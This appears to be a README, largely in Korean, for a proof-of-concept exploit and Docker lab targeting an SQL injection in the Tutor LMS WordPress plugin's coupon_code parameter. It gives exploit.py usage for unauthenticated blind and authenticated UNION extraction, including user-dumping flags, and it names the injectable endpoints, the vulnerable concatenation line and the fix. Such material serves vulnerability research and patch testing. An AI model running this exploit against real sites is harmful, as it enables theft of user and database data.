
CVE-2025-13673: Tutor LMS SQL Injection PoC + Docker lab
인증되지 않은 SQL 인젝션 취약점이 Tutor LMS WordPress 플러그인 (<= 3.9.6)의 coupon_code 매개변수를 통해 존재합니다.
# 1. Clone and start the lab
git clone https://github.com/dinosn/CVE-2025-13673.git
cd CVE-2025-13673
./setup.sh # Deploys WordPress + Tutor LMS 3.9.3
# 2. Run the exploit
pip install requests # only dependency
# Unauthenticated (time-based blind — no credentials needed)
python3 exploit.py http://localhost:8080
# Authenticated (UNION-based — instant extraction)
python3 exploit.py http://localhost:8080 -u testuser -p test123 --all
| 필드 | 값 |
|---|---|
| CVE | CVE-2025-13673 |
| 영향받는 버전 | Tutor LMS <= 3.9.6 |
| 수정 버전 | 3.9.7 |
| 유형 | SQL Injection (CWE-89) |
| CVSS | 7.5 / 9.3 |
| 인증 | 없음 (blind) / 구독자 (UNION) |
QueryHelper::prepare_where_clause()는 SQL WHERE 절을 원시 문자열 연결로 구성합니다:
// helpers/QueryHelper.php — VULNERABLE
$value = is_numeric( $value ) ? $value : "'" . $value . "'";
이스케이프 처리가 없습니다. 작은따옴표 하나가 리터럴을 탈출하여 임의의 SQL 실행을 허용합니다.
인증되지 않음: POST / with tutor_action=tutor_pay_now. WordPress init 훅이 모든 방문자에 대해 이를 디스패치합니다. _tutor_nonce는 모든 프론트엔드 페이지에 포함되어 있으며 익명 세션에서 유효합니다. SLEEP()를 통한 데이터 추출.
구독자 이상: POST /wp-admin/admin-ajax.php with action=tutor_apply_coupon. 삽입된 UNION SELECT 데이터가 포함된 JSON 반환 — 응답에 반영된 두 개의 열로 즉시 추출 가능.
- $val = is_numeric( $val ) ? $val : "'" . $val . "'";
+ // Value now passed through $wpdb->prepare('%s', $value)
usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [--course-id COURSE_ID]
[--dump-users] [--db-info] [--options] [--all]
[--delay DELAY]
url
Modes:
Default (no -u/-p): Unauthenticated time-based blind SQLi
With -u/-p: Authenticated UNION-based (fast)
Examples:
exploit.py http://target # unauth blind
exploit.py http://target -u student -p pass --all # auth UNION
# Test version 3.9.5 (has esc_sql partial mitigation)
./setup.sh 3.9.5
# Test version 3.9.7 (should be fixed)
./setup.sh 3.9.7
| 파일 | 설명 |
|---|---|
exploit.py | 이중 모드 PoC: 인증되지 않은 blind + 인증된 UNION |
setup.sh | 원커맨드 실습 환경 배포 |
docker-compose.yml | WordPress 6.7 + MySQL 8.0 |
승인된 보안 테스트 및 교육 목적으로만 사용하십시오.